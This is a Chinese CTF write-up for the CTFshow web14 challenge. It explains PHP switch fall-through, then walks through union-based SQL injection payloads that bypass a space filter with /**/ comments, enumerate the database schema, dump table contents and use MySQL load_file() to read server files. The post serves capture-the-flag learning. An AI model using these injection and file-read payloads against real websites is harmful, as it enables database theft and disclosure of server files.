CTFshow web14

<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

了解php的switch case语句。
在这里举个例子:

$number=1;
switch ($number)
{
    case "1":
        echo "one";
    case "2":
        echo "two";
    case "3"
        echo "three";
 }

输出结果为 one two three
如果在 echo “one”;后面加上break,输出结果为 one。这里应该就明白了吧。如果不加break会一直执行下去,直到结束或者遇到break。

在这个题目中有一条限制 sleep($c);就是我们输入的c是多少就会等待多少秒然后执行。所以我们想要输出$url就得找到一个小的case。我们可以看到下图中的c=3显然满足。case 3 后面没有break会接着执行下面的echo “$url”
在这里插入图片描述
输入?c=3成功显示 here_1s_your_f1ag.php,接下来访问该页面。是一个很明显的注入页面,但还不确定能否注入.

注释提示,我们先来看一下网站源代码有条提示,过滤一些东西

if(preg_match(/information_schema.tables|information_schema.columns|linestring| |polygon/is’, $_GET[‘query’])){
die(‘@A@’);
}

有空格,刚开始我硬是没看出来。。。
测试出来是一个字段

爆库名(web)

?query=-1/**/union/**/select/**/database()

爆表名(content)
这个阔以这样绕过过滤,我当时不知道我用的innodb_table_stats绕过,然后无列明注入。。。

?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

爆字段名(id,username,password)

?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

爆值

?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

到这我们发现数据库中并没有我们想要的flag,但是有一条提示tell you a secret,secert has a secret…. 所以很有可能flag在secret.php中,然后mysql提供了读取本地文件的函数load_file(),但是要权限,用user()看一下权限是root可以用load_file()读

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

得到

<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')

所以我们直接将/real_flag_is_here读取即可得到flag。

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

下面就是我的查那的方法

?query=0/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()
?query=0/**/union/**/select/**/group_concat(`1`,`2`,`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/content)x
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值